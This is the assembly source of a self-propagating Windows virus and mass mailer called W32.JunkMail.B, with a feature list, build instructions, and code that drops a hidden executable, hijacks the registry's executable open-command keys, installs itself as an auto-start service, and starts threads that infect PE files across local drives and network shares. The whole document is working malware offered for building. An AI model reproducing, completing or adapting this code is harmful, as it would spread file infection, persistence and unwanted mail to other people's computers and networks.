W32.JunkMail.B
by roy g biv

See also the project folder

comment ;)
W32.JunkMail.B by roy g biv

some of its features:
- parasitic resident (own process) infector of PE exe (but not looking at suffix)
- infects files in all directories on all fixed and network drives and network shares
- directory traversal is linked-list instead of recursive to reduce stack size
- enumerates shares on local network and also random IP addresses
- reloc section inserter/last section appender
- runs as service in NT/2000/XP and service process in 9x/Me
- hooks all executable shell\open\command values
- slow mailer using polymorphic mail headers and transport (text/OLE2/binary)
- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me)
- uses CRCs instead of API names
- uses SEH for common code exit
- section attributes are never altered (virus is self-modifying but runs in writable memory)
- no infect files with data outside of image (eg self-extractors)
- infected files are padded by random amounts to confuse tail scanners
- uses SEH walker to find kernel address (no hard-coded addresses)
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
- plus some new code optimisations that were never seen before W32.EfishNC :)

yes, just a W32.EfishNC remake with SMTP client engine
---

  optimisation tip: Windows appends ".dll" automatically, so this works:
        push "cfs"
        push esp
        call LoadLibraryA
---

to build this thing:
tasm
----
tasm32 /ml /m3 junkmail
tlink32 /B:400000 /x junkmail,,,import32

Virus is not self-modifying, so no need to alter section attributes
---

We're in the middle of a phase transition:
a butterfly flapping its wings at
just the right moment could
cause a storm to happen.
-I'm trying to understand-
I'm at a moment in my life-
I don't know where to flap my wings.
(Danny Hillis)

(;

.486
.model  flat

extern  GlobalAlloc:proc
extern  CreateFileA:proc
extern  WriteFile:proc
extern  CloseHandle:proc
extern  GlobalFree:proc
extern  MessageBoxA:proc
extern  ExitProcess:proc

.data
include junkmail.inc

;to alter the text here, set compress_only to not-zero then run
;in that case, the compressed text is written to a file only

compress_only   equ     0

dropper         label   near
        push    (offset part37 - offset smtp1 + 1)
        push    GMEM_FIXED
        call    GlobalAlloc
        push    eax
        mov     esi, offset smtp1
        xchg    edi, eax
        call    compmain                        ;smtp1
        call    compmain                        ;smtp2
        call    compmain                        ;smtp3
        call    compmain                        ;smtp4
        call    compmain                        ;header1
        call    compmain                        ;header2
        call    compmain                        ;subject1
        call    compmain                        ;header31
        call    compmain                        ;header32

ife compress_only

        lea     eax, dword ptr [edi + offset email_block - offset junkmail_inf + expsize + 401000h]
        pop     ecx
        push    ecx
        sub     eax, ecx
        mov     dword ptr [offset patch_type + 1], eax

endif

        call    compmain                        ;part11
        call    compmain                        ;part12
        call    compmain                        ;part13
        call    compmain                        ;body1
        call    compmain                        ;part21

ife compress_only

        lea     eax, dword ptr [edi + offset email_block - offset junkmail_inf + expsize + 401000h]
        pop     ecx
        push    ecx
        sub     eax, ecx
        mov     dword ptr [offset patch_encode + 1], eax

endif

        call    compmain                        ;part22
        call    compmain                        ;part23
        call    compmain                        ;part24
        call    compmain                        ;autorun
        call    compmain                        ;part31
        call    compmain                        ;suffix1
        call    compmain                        ;suffix2
        call    compmain                        ;part32
        call    compmain                        ;part33
        call    compmain                        ;part34
        call    compmain                        ;batdrop1
        call    compmain                        ;batdrop3
        call    compmain                        ;part35
        call    compmain                        ;part36

ife compress_only

        lea     eax, dword ptr [edi + offset email_block - offset junkmail_inf + expsize + 401000h]
        pop     ecx
        push    ecx
        sub     eax, ecx
        mov     dword ptr [offset patch_unreg + 1], eax

endif

        call    compmain                        ;unregdrop1

if compress_only

        pop     esi
        push    (offset part37 - offset smtp1 + 1) * 7
        push    GMEM_FIXED
        call    GlobalAlloc
        push    eax
        push    esi
        mov     ecx, edi
        sub     ecx, esi
        xchg    edi, eax
        jmp     dump_line

dump_outer      label   near
        mov     al, ','
        stos    byte ptr [edi]
        test    cl, 0fh
        jne     dump_inner
        dec     edi

dump_line       label   near
        mov     eax, ("bd" shl 10h) + 0a0dh
        stos    dword ptr [edi]

dump_inner      label   near
        mov     ax, "0 "
        stos    word ptr [edi]
        lods    byte ptr [esi]
        aam     10h
        call    byt2asc
        mov     al, 'h'
        stos    byte ptr [edi]
        loop    dump_outer
        call    GlobalFree
        xor     ebp, ebp
        push    ebp
        push    ebp
        push    CREATE_ALWAYS
        push    ebp
        push    ebp
        push    GENERIC_WRITE
        push    offset fn_dump
        call    CreateFileA
        xchg    ebx, eax
        pop     eax
        push    eax
        push    eax
        push    esp
        sub     edi, eax
        push    edi
        push    eax
        push    ebx
        call    WriteFile
        push    ebx
        call    CloseHandle
        call    GlobalFree
        xor     ebx, ebx
        push    ebx
        push    offset txttitle
        push    offset txtbody
        push    ebx
        call    MessageBoxA
        push    ebx
        call    ExitProcess

fn_dump         db      "email.inc", 0

byt2asc         proc    near
        call    nyb2asc

nyb2asc         proc    near
        xchg    ah, al
        cmp     al, 0ah
        sbb     al, 69h
        das
        stos    byte ptr [edi]
        ret
nyb2asc         endp
byt2asc         endp

else

        call    GlobalFree
        mov     edx, expcrc_count
        mov     ebx, offset expnames
        mov     edi, offset expcrcbegin
        call    create_crcs
        mov     edx, regcrc_count
        mov     ebx, offset regnames
        mov     edi, offset regcrcbegin
        call    create_crcs
        mov     edx, execrc_count
        mov     ebx, offset exenames
        mov     edi, offset execrcbegin
        call    create_crcs
        mov     edx, usrcrc_count
        mov     ebx, offset usrnames
        mov     edi, offset usrcrcbegin
        call    create_crcs
        mov     edx, svccrc_count
        mov     ebx, offset svcnames
        mov     edi, offset svccrcbegin
        call    create_crcs
        mov     edx, krncrc_count
        mov     ebx, offset krnnames
        mov     edi, offset krncrcbegin
        call    create_crcs
        mov     edx, sfccrc_count
        mov     ebx, offset sfcnames
        mov     edi, offset sfccrcbegin
        call    create_crcs
        mov     edx, ws2crc_count
        mov     ebx, offset ws2names
        mov     edi, offset ws2crcbegin
        call    create_crcs
        mov     edx, netcrc_count
        mov     ebx, offset netnames
        mov     edi, offset netcrcbegin
        call    create_crcs
        mov     edx, ip9xcrc_count
        mov     ebx, offset ip9xnames
        mov     edi, offset ip9xcrcbegin
        call    create_crcs
        mov     edx, ipntcrc_count
        mov     ebx, offset ipntnames
        mov     edi, offset ipntcrcbegin
        call    create_crcs
;-----------------------------------------------------------------------------
;everything before this point is dropper code
;-----------------------------------------------------------------------------

;-----------------------------------------------------------------------------
;virus code begins here in infected files
;-----------------------------------------------------------------------------

junkmail_inf    proc    near
        pushad
        call    walk_seh

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

expcrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (expcrc_count + 1) dup (0)
expcrcend       label   near
        dd      offset drop_exp - offset expcrcend + 4
        db      "JunkMail - roy g biv"          ;spam just got harder to remove ;)

walk_seh        label   near
        xor     esi, esi
        lods    dword ptr fs:[esi]
        inc     eax

seh_loop        label   near
        dec     eax
        xchg    esi, eax
        lods    dword ptr [esi]
        inc     eax
        jne     seh_loop
        lods    dword ptr [esi]

;-----------------------------------------------------------------------------
;moved label after some data because "e800000000" looks like virus code ;)
;-----------------------------------------------------------------------------

init_findmz     label   near
        inc     eax
        xchg    edi, eax

find_mzhdr      label   near

;-----------------------------------------------------------------------------
;do not use hard-coded kernel address values because it is not portable
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
;they will maybe change again for every new release
;-----------------------------------------------------------------------------

        dec     edi                             ;sub 64kb
        xor     di, di                          ;64kb align
        call    is_pehdr
        jne     find_mzhdr
        mov     ebx, edi
        pop     edi

;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------

        mov     esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
        lea     esi, dword ptr [ebx + esi + peexp.expadrrva]
        lods    dword ptr [esi]                 ;Export Address Table RVA
        lea     edx, dword ptr [ebx + eax]
        lods    dword ptr [esi]                 ;Name Pointer Table RVA
        lea     ecx, dword ptr [ebx + eax]
        lods    dword ptr [esi]                 ;Ordinal Table RVA
        lea     ebp, dword ptr [ebx + eax]
        mov     esi, ecx

push_export     label   near
        push    ecx

get_export      label   near
        lods    dword ptr [esi]
        push    ebx
        add     ebx, eax                        ;Name Pointer VA
        or      eax, -1

crc_outer       label   near
        xor     al, byte ptr [ebx]
        push    8
        pop     ecx

crc_inner       label   near
        add     eax, eax
        jnb     crc_skip
        xor     eax, 4c11db7h                   ;use generator polymonial (see IEEE 802)

crc_skip        label   near
        loop    crc_inner
        sub     cl, byte ptr [ebx]              ;carry set if not zero
        inc     ebx                             ;carry not altered by inc
        jb      crc_outer
        pop     ebx
        cmp     dword ptr [edi], eax
        jne     get_export

;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------

        pop     ecx
        mov     eax, esi
        sub     eax, ecx                        ;Name Pointer Table VA
        shr     eax, 1
        movzx   eax, word ptr [ebp + eax - 2]   ;get export ordinal
        mov     eax, dword ptr [eax * 4 + edx]  ;get export RVA
        add     eax, ebx
        push    eax
        scas    dword ptr [edi]
        cmp     dword ptr [edi], 0
        jne     push_export
        add     edi, dword ptr [edi + 4]
        jmp     edi

dispname        label   near
        db      "Explorer", 0

explabel        label   near
        db      "ExpIorer.exe", 0

drop_exp        label   near
        mov     ebx, esp
        lea     esi, dword ptr [edi + offset explabel - offset drop_exp]
        mov     edi, offset junkmail_codeend - offset junkmail_inf + expsize + 80h + 1ffh
                                                ;file size must be > end of last section
        push    edi
        xor     ebp, ebp                        ;GMEM_FIXED
        push    ebp
        call    dword ptr [ebx + expcrcstk.pGlobalAlloc]
        push    eax                             ;GlobalFree
        push    ebp                             ;WriteFile
        push    esp                             ;WriteFile
        push    edi                             ;WriteFile
        push    ebp                             ;CreateFileA
        push    FILE_ATTRIBUTE_HIDDEN           ;CreateFileA
        push    CREATE_ALWAYS                   ;CreateFileA
        push    ebp                             ;CreateFileA
        push    ebp                             ;CreateFileA
        push    GENERIC_WRITE                   ;CreateFileA
        push    eax                             ;CreateFileA
        lea     ecx, dword ptr [eax + 7fh]
        push    ecx                             ;MoveFileA
        push    eax                             ;MoveFileA
        push    eax                             ;GetFileAttributesA
        push    ebp                             ;SetFileAttributesA
        push    eax                             ;SetFileAttributesA
        push    ecx                             ;DeleteFileA
        push    ecx                             ;GetTempFileNameA
        push    ebp                             ;GetTempFileNameA
        push    esp                             ;GetTempFileNameA
        push    eax                             ;GetTempFileNameA
        push    edi                             ;GetWindowsDirectoryA
        push    eax                             ;GetWindowsDirectoryA
        xchg    ebp, eax
        call    dword ptr [ebx + expcrcstk.pGetWindowsDirectoryA]
        lea     edi, dword ptr [ebp + eax - 1]
        call    dword ptr [ebx + expcrcstk.pGetTempFileNameA]
        call    dword ptr [ebx + expcrcstk.pDeleteFileA]
        mov     al, '\'
        scas    byte ptr [edi]
        je      skip_slash
        stos    byte ptr [edi]

;-----------------------------------------------------------------------------
;append exe name, assumes name is 0dh bytes long
;-----------------------------------------------------------------------------

skip_slash      label   near
        movs    dword ptr [edi], dword ptr [esi]
        movs    dword ptr [edi], dword ptr [esi]
        movs    dword ptr [edi], dword ptr [esi]
        movs    byte ptr [edi], byte ptr [esi]

;-----------------------------------------------------------------------------
;anti-anti-file dropper - remove read-only attribute, delete file, rename directory
;-----------------------------------------------------------------------------

        call    dword ptr [ebx + expcrcstk.pSetFileAttributesA]
        call    dword ptr [ebx + expcrcstk.pGetFileAttributesA]
        test    al, FILE_ATTRIBUTE_DIRECTORY
        pop     ecx
        pop     eax
        je      skip_move
        push    eax
        push    ecx
        call    dword ptr [ebx + expcrcstk.pMoveFileA]

skip_move       label   near
        call    dword ptr [ebx + expcrcstk.pCreateFileA]
        push    edi                             ;WriteFile
        push    ebx
        xchg    ebp, eax
        call    dword ptr [ebx + expcrcstk.pGetTickCount]
        xchg    ebx, eax
        xor     ecx, ecx

;-----------------------------------------------------------------------------
;decompress MZ header, PE header, section table, import table
;-----------------------------------------------------------------------------

        call    decomprle

expsize equ     0d4h
;RLE-based compressed MZ header, PE header, import table, section table
;execution continues immediately after compressed data.  be careful ;)

        dd      11111111110000011100001011100000b
        ;       mmmmmmmmmmz   01mmz   02mmm
        db      'M', 'Z', "gdi32.dll", 'P', 'E', 4ch, 1, 1
        dd      00000110000111100001001010010000b
        ;       z   01mz   03mmz   02r   04m
        db      2, 2ch, 10h, 88h
        dd      00000111110100100001001000111110b
        ;       z   01mmmmr   02z   04mz   07mm
        db      0fh, 3, 0bh, 1, 56h, (offset junkmail_exe - offset junkmail_inf + expsize) and 0ffh, ((junkmail_exe - offset junkmail_inf + expsize + 1000h) shr 8) and 0ffh
        dd      00001001010010001011000010100001b
        ;       z   02r   04mz   05mz   02mz   02
        db      0ch, 40h, 10h
        dd      00000110000101010111100001111100b
        ;       z   01mz   02mr   07mz   03mmm
        db      2, 1, 4, "Arc"
        dd      00001010000101000111100000101001b
        ;       z   02mz   03mz   07mz   01r   02
        db      ((junkmail_codeend - offset junkmail_inf + expsize + 80h + 1fffh) and not 0fffh) shr 8, expsize, 2
        dd      10000111000011100001110000110101b
        ;       mz   03mz   03mz   03mz   03r  04
        db      1, 1, 1, 1
        dd      10001110101001100101001111001111b
        ;       mz   07r   04mmz   0ar   0er   0e
        db      2, 8, 10h
        dd      00010110000111000010100001101100b
        ;       z   05mz   03mz   02mz   03r   08
        db      10h, ((junkmail_codeend - offset junkmail_inf + expsize + 80h + 1ffh) and not 1ffh) shr 8, 1
        dd      00011110000000000000000000000000b
        ;       z   07m
        db      0e0h
        dd      0
;decompressed data follow.  'X' bytes are set to random value every time
;       db      'M', 'Z'                ;00
;       db      "gdi32.dll", 0          ;02    align 4, filler (overload for dll name and import lookup table RVA)
;       db      'P', 'E', 0, 0          ;0c 00 signature (overload for date/time stamp)
;       dw      14ch                    ;10 04 machine (overload for forwarder chain)
;       dw      1                       ;12 06 number of sections (overload for forwarder chain)
;       dd      2                       ;14 08 date/time stamp (overload for dll name RVA)
;       dd      102ch                   ;18 0c pointer to symbol table (overload for import address table RVA)
;       db      X, X, X, X              ;1c 10 number of symbols
;       dw      88h                     ;20 14 size of optional header
;       dw      30fh                    ;22 16 characteristics
;       dw      10bh                    ;24 18 magic
;       db      X                       ;26 1a major linker
;       db      X                       ;27 1b minor linker
;       dd      0                       ;28 1c size of code (overload for import table terminator)
;       dd      56h                     ;2c 20 size of init data (overload for import name table RVA)
;       dd      0                       ;30 24 size of uninit data (overload for import name table terminator)
;       dd      offset junkmail_exe - offset junkmail_inf + expsize + 1000h
;                                       ;34 28 entry point
;       db      X, X, X, X              ;38 2c base of code
;       dd      0ch                     ;3c 30 base of data (overload for lfanew)
;       dd      400000h                 ;40 34 image base
;       dd      1000h                   ;44 38 section align
;       dd      200h                    ;48 3c file align
;       db      1, X                    ;4c 40 major os
;       db      X, X                    ;4e 42 minor os
;       db      X, X                    ;50 44 major image
;       db      X, X                    ;52 46 minor image
;       dw      4                       ;54 48 major subsys
;       dw      0                       ;56 4a minor subsys (overload for import name table)
;       db      "Arc", 0                ;58 4c reserved (overload for import name table)
;       dd      (aligned size of code)  ;5c 50 size of image
;       dd      expsize                 ;60 54 size of headers
;       dd      0                       ;64 58 checksum
;       dw      2                       ;68 5c subsystem
;       db      X, X                    ;6a 5e dll characteristics
;       dd      1                       ;6c 60 size of stack reserve
;       dd      1                       ;70 64 size of stack commit
;       dd      1                       ;74 68 size of heap reserve
;       dd      1                       ;78 6c size of heap commit
;       db      X, X, X, X              ;7c 70 loader flags
;       dd      2                       ;80 74 number of rva and sizes (ignored by Windows 9x/Me)
;       dd      0                       ;84 78 export
;       db      X, X, X, X              ;88 7c export
;       dd      1008h                   ;8c 80 import
;       dd      0                       ;90 84 import
;       dd      0                       ;94 88 resource
;       db      X, X, X, X              ;98 8c resource
;       db      X, X, X, X, X, X, X, X  ;9c 90 exception
;       db      X, X, X, X, X, X, X, X  ;a4 98 certificate
;       db      X, X, X, X, X, X, X, X  ;ac a0 base reloc (overload for section name)
;       dd      0                       ;b4 a8 debug (overload for virtual size)
;       dd      1000h                   ;b8 ac debug (overload for virtual address)
;       dd      (aligned size of code)  ;bc b0 architecture (overload for file size)
;       dd      1                       ;c0 b4 architecture (overload for file offset)
;       db      X, X, X, X              ;c4 b8 global data (overload for pointer to relocs)
;       db      X, X, X, X              ;c8 bc global data (overload for pointer to line numbers)
;       dd      0                       ;cc c0 tls (overload for reloc table and line numbers)
;       dd      0e0000000h              ;d0 c4 tls (overload for section characteristics)
;                                       ;d4

copy_exp        label   near
        mov     cx, offset mail_recip - offset junkmail_inf
        sub     esi, offset copy_exp - offset junkmail_inf
        rep     movs byte ptr [edi], byte ptr [esi]
        mov     al, "'"
        stos    byte ptr [edi]
        pop     ebx
        push    ebp
        call    dword ptr [ebx + expcrcstk.pWriteFile]
        push    ebp
        call    dword ptr [ebx + expcrcstk.pCloseHandle]
        pop     eax
        push    eax
        inc     ebp
        je      load_regdll                     ;allow only 1 copy to run
        push    0
        push    eax
        call    dword ptr [ebx + expcrcstk.pWinExec]

load_regdll     label   near
        sub     esi, offset mail_recip - offset regdll
        push    esi
        call    dword ptr [ebx + expcrcstk.pLoadLibraryA]
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

regcrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (regcrc_count + 1) dup (0)
regcrcend       label   near
        dd      offset reg_file - offset regcrcend + 4

regval  db      'ExpIorer "%1" %*', 0
regkey  db      "\com"                          ;no regedit.com ;)
        db      "\exe"                          ;must be 4 bytes long
        db      "\pif"                          ;hook all executable suffix (except .scr which passes /S)
reg_file        label   near                    ;must follow immediately
        mov     ebx, esp
        mov     ecx, HKEY_LOCAL_MACHINE         ;can obfuscate and same size if push 5+pop ecx+ror ecx, 1

;-----------------------------------------------------------------------------
;alter Software\Classes in Local Machine and Current User
;because in Windows 2000/XP, Current User values override Local Machine values
;-----------------------------------------------------------------------------

reg_loopouter   label   near
        lea     ebp, dword ptr [edi + offset regval - offset reg_file]
        sub     edi, offset reg_file - offset regkey
        push    (offset reg_file - offset regkey) shr 2
        pop     esi

reg_loopinner   label   near
        push    ecx
        push    "dna"
        push    "mmoc"
        push    "\nep"
        push    "o\ll"
        push    "ehs\"
        push    "elif"
        push    dword ptr [edi]                 ;comfile, exefile, piffile
        push    "sess"
        push    "alc\"
        push    "eraw"
        push    "tfos"                          ;obfuscated ;)
        mov     eax, esp
        push    offset regkey - offset regval
        push    ebp
        push    REG_SZ
        push    eax
        push    ecx
        call    dword ptr [ebx + regcrcstk.rRegSetValueA]
                                                ;RegSetValue creates keys
        add     esp, 2ch                        ;size software\classes\???file\shell\open\command
        scas    dword ptr [edi]
        pop     ecx
        dec     esi
        jne     reg_loopinner
        loopw   reg_loopouter                   ;decrements CX only

;-----------------------------------------------------------------------------
;register as service if NT/2000/XP (recognised but ignored by 9x/Me)
;no start service because code is running already
;-----------------------------------------------------------------------------

        push    SC_MANAGER_CREATE_SERVICE
        push    esi
        push    esi
        call    dword ptr [ebx + regcrcstk.rOpenSCManagerA]
        mov     ecx, dword ptr [ebx + size regcrcstk]
        push    ecx
        push    eax
        push    esi
        push    esi
        push    esi
        push    esi
        push    esi
        push    ecx
        push    esi                             ;SERVICE_ERROR_IGNORE
        push    SERVICE_AUTO_START
        push    SERVICE_WIN32_OWN_PROCESS
        push    esi
        sub     edi, offset reg_file - offset dispname
        push    edi
        add     edi, offset explabel - offset dispname
        push    edi
        push    eax
        call    dword ptr [ebx + regcrcstk.rCreateServiceA]
        push    eax
        call    dword ptr [ebx + regcrcstk.rCloseServiceHandle]
        call    dword ptr [ebx + regcrcstk.rCloseServiceHandle]
        call    dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pGlobalFree]
        popad

host_patch      label   near
        db      0e9h
        dd      offset do_message - offset $ - 4
                                                ;replaced dynamically

;-----------------------------------------------------------------------------
;virus code begins here in dropped exe
;-----------------------------------------------------------------------------

junkmail_exe    label   near
        call    walk_seh

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

execrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (execrc_count + 1) dup (0)
execrcend       label   near
        dd      offset load_user32 - offset execrcend + 4

load_user32     label   near
        call    skip_user32
        db      "user32", 0

skip_user32     label   near
        call    dword ptr [esp + execrcstk.eLoadLibraryA + 4]
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

usrcrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (usrcrc_count + 1) dup (0)
usrcrcend       label   near
        dd      offset get_cmdline - offset usrcrcend + 4

;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;-----------------------------------------------------------------------------

get_cmdline     label   near
        mov     ebx, esp
        call    dword ptr [ebx + size usrcrcstk + execrcstk.eGetVersion]
        shr     eax, 1fh
        lea     esi, dword ptr [eax * 4 + ebx]

;-----------------------------------------------------------------------------
;RegisterServiceProcess() if 9x/Me (just sets one bit)
;-----------------------------------------------------------------------------

        mov     ecx, dword ptr fs:[tib.TibTeb]
        or      byte ptr [ecx + teb.procflags + 1], al

;-----------------------------------------------------------------------------
;parse command-line in platform-independent way to see how file was run
;-----------------------------------------------------------------------------

        dec     ax
        mov     al, 0ffh
        xchg    edi, eax                        ;ffff if Unicode, 00ff if ANSI
        mov     eax, dword ptr [esi + usrcrcstk.uCharNextW]
        mov     dword ptr ds:[offset store_charnext - offset junkmail_inf + expsize + 401001h], eax
        call    dword ptr [esi + size usrcrcstk + execrcstk.eGetCommandLineW]

stack_delta     label   near
        mov     ebp, dword ptr [eax]
        and     ebp, edi
        cmp     ebp, '"'                        ;Unicode-compatible compare
        je      skip_argv0
        push    ' '
        pop     ebp

skip_argv0      label   near
        push    eax
        call    dword ptr [esi + usrcrcstk.uCharNextW]
        mov     ecx, dword ptr [eax]
        and     ecx, edi
        je      argv1_skip
        cmp     ecx, ebp
        jne     skip_argv0

find_argv1      label   near
        push    eax
        call    dword ptr [esi + usrcrcstk.uCharNextW]
        mov     ecx, dword ptr [eax]
        and     ecx, edi
        cmp     ecx, ' '                        ;Unicode-compatible compare
        je      find_argv1

argv1_skip      label   near

;-----------------------------------------------------------------------------
;if argv1 exists then argv0 was run using shell\open\command so run argv1
;-----------------------------------------------------------------------------

        jecxz   stack_copy
        sub     esp, size processinfo
        mov     edx, esp
        sub     esp, size startupinfo
        mov     ecx, esp
        push    edx
        push    ecx
        xor     edx, edx
        push    edx
        push    edx
        push    edx
        push    edx
        push    edx
        push    edx
        push    eax
        push    edx
        push    ecx
        call    dword ptr [esi + size usrcrcstk + execrcstk.eGetStartupInfoW]
        call    dword ptr [esi + size usrcrcstk + execrcstk.eCreateProcessW]
        call    dword ptr [ebx + size usrcrcstk + execrcstk.eExitProcess]

;-----------------------------------------------------------------------------
;allocate stack space for RNG cache
;-----------------------------------------------------------------------------

stack_copy      label   near
        mov     ebx, dword ptr [ebx + size usrcrcstk.execrcstk.eGetTickCount]
        call    ebx                             ;RNG seed
        enter   (statelen + 1) shl 2, 0         ;RNG cache
        mov     edi, esp
        call    randinit
        mov     edi, ebx
        call    find_mzhdr

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

krncrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (krncrc_count + 1) dup (0)
krncrcend       label   near
        dd      offset swap_create - offset krncrcend + 4

;-----------------------------------------------------------------------------
;swap CreateFileW and CreateFileMappingA because of alphabet order
;-----------------------------------------------------------------------------

swap_create     label   near
        mov     dword ptr ds:[offset store_krnapi - offset junkmail_inf + expsize + 401003h], esp
        mov     ebx, esp
        lea     esi, dword ptr [ebx + krncrcstk.kCreateFileMappingA]
        mov     edi, esi
        lods    dword ptr [esi]
        movs    dword ptr [edi], dword ptr [esi]
        stos    dword ptr [edi]

;-----------------------------------------------------------------------------
;get SFC support if available
;-----------------------------------------------------------------------------

        call    load_sfc
        db      "sfc_os", 0                     ;Windows XP (forwarder chain from sfc.dll)

load_sfc        label   near
        call    cLoadLibraryA
        test    eax, eax
        jne     found_sfc
        push    'cfs'                           ;Windows Me/2000
        push    esp
        call    cLoadLibraryA
        pop     ecx
        test    eax, eax
        je      sfcapi_esp

found_sfc       label   near
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

sfccrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (sfccrc_count + 1) dup (0)
sfccrcend       label   near
        dd      offset sfcapi_pop - offset sfccrcend + 4

sfcapi_pop      label   near
        pop     eax

sfcapi_esp      label   near
        mov     dword ptr ds:[offset store_sfcapi - offset junkmail_inf + expsize + 401001h], eax

;-----------------------------------------------------------------------------
;get rest of APIs required for network thread
;-----------------------------------------------------------------------------

        push    'rpm'
        push    esp
        call    cLoadLibraryA
        pop     ecx
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

netcrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (netcrc_count + 1) dup (0)
netcrcend       label   near
        dd      offset netapi_esp - offset netcrcend + 4

netapi_esp      label   near
        mov     eax, dword ptr [esp + netcrcstk.nWNetCloseEnum - netcrcstk.nWNetOpenEnumW]
        mov     dword ptr ds:[offset store_netapi - offset junkmail_inf + expsize + 401001h], eax

;-----------------------------------------------------------------------------
;initialise service table if NT/2000/XP
;-----------------------------------------------------------------------------

        call    cGetVersion
        shr     eax, 1fh
        jne     svc_main                        ;no service if 9x/Me
        push    eax
        push    eax
        push    offset regdll - offset junkmail_inf + expsize + 401000h
        call    cLoadLibraryA
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

svccrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (svccrc_count + 1) dup (0)
svccrcend       label   near
        dd      offset start_disp - offset svccrcend + 4

start_disp      label   near
        pop     eax
        mov     ecx, esp
        add     edi, offset svc_main - offset start_disp
        push    edi
        push    ecx
        push    esp
        call    eax                             ;does not return if service launch
        add     esp, size SERVICE_TABLE_ENTRY   ;fix stack if app launch

svc_main        label   near
        push    eax
        push    esp
        xor     esi, esi
        push    esi
        push    esi
        call    create_thr1

;-----------------------------------------------------------------------------
;thread 1: infect files on all fixed and remote drive letters
;-----------------------------------------------------------------------------

find_drives     proc    near
        mov     eax, '\:A'                      ;NEC-PC98 uses A: for boot drive which can be hard disk

drive_loop      label   near
        push    eax
        push    esp
        push    (krncrcstk.kGetDriveTypeA - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi
        sub     al, DRIVE_FIXED
        je      drive_set
        xchg    ecx, eax
        loop    drive_next                      ;loop if not DRIVE_REMOTE

drive_set       label   near
        push    esp
        call    cSetCurrentDirectoryA
        call    find_files

drive_next      label   near
        pop     eax
        inc     eax
        cmp     al, 'Z' + 1
        jne     drive_loop
        push    60 * 60 * 1000                  ;1 hour
        call    cSleep
        jmp     find_drives
find_drives     endp

create_thr1     label   near
        push    esi
        push    esi
        call    cCreateThread
        push    esp
        push    esi
        push    esi
        call    create_thr2

;-----------------------------------------------------------------------------
;thread 2: find files on network shares using non-recursive algorithm
;-----------------------------------------------------------------------------

        call    get_krnapis

find_wnet       proc    near
        xor     ebx, ebx                        ;previous handle
        xor     esi, esi                        ;previous node
        xor     edi, edi                        ;previous buffer

wnet_open       label   near
        push    eax
        push    esp
        push    edi
        push    0
        push    RESOURCETYPE_DISK
        push    RESOURCE_GLOBALNET
        call    dword ptr [ebp + netcrcstk.nWNetOpenEnumW - size netcrcstk]
        push    eax
        push    edi
        call    cGlobalFree
        pop     ecx
        pop     edi
        inc     ecx
        loop    wnet_next
        push    size wnetlist
        push    ecx                             ;GMEM_FIXED
        call    cGlobalAlloc
        mov     dword ptr [eax + wnetlist.wnetprev], esi
        mov     dword ptr [eax + wnetlist.wnethand], ebx
        xchg    esi, eax
        mov     ebx, edi

wnet_next       label   near
        push    1
        mov     eax, esp
        push    eax
        push    esp
        push    eax
        push    ebx
        call    dword ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk]
        pop     edi
        sub     al, ERROR_MORE_DATA
        jne     wnet_close
        push    edi
        push    eax                             ;GMEM_FIXED
        call    cGlobalAlloc
        xchg    ecx, eax
        jecxz   wnet_close
        push    edi
        mov     eax, esp
        push    1
        mov     edx, esp
        push    eax
        push    ecx
        push    edx
        push    ebx
        mov     edi, ecx
        call    dword ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk]
        pop     ecx
        pop     ecx
        test    eax, eax
        jne     wnet_free
        test    byte ptr [edi + NETRESOURCE.dwUsage], RESOURCEUSAGE_CONTAINER
        jne     wnet_open
        push    dword ptr [edi + NETRESOURCE.lpRemoteName]
        call    dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
        xchg    ecx, eax
        jecxz   wnet_skipdir

        ;I'm alone here
        ;with emptiness eagles and snow.
        ;Unfriendliness chilling my body
        ;and taunting with pictures of home.
        ;(Deep Purple)

        call    find_files

wnet_skipdir    label   near
        xor     eax, eax

wnet_free       label   near
        push    eax
        push    edi
        call    cGlobalFree
        pop     ecx
        jecxz   wnet_next

wnet_close      label   near
        push    ebx

store_netapi    label   near
        mov     eax, '!bgr'
        call    eax                             ;WNetCloseEnum
        mov     ecx, dword ptr [esi + wnetlist.wnetprev]
        jecxz   wnet_exit
        mov     ebx, dword ptr [esi + wnetlist.wnethand]
        push    esi
        mov     esi, ecx
        call    cGlobalFree
        jmp     wnet_next

wnet_exit       label   near
        push    120 * 60 * 1000                 ;2 hours
        call    cSleep
        jmp     find_wnet
find_wnet       endp

create_thr2     label   near
        push    esi
        push    esi
        call    cCreateThread
        push    esp
        push    esi
        push    esi
        call    create_thr3

;-----------------------------------------------------------------------------
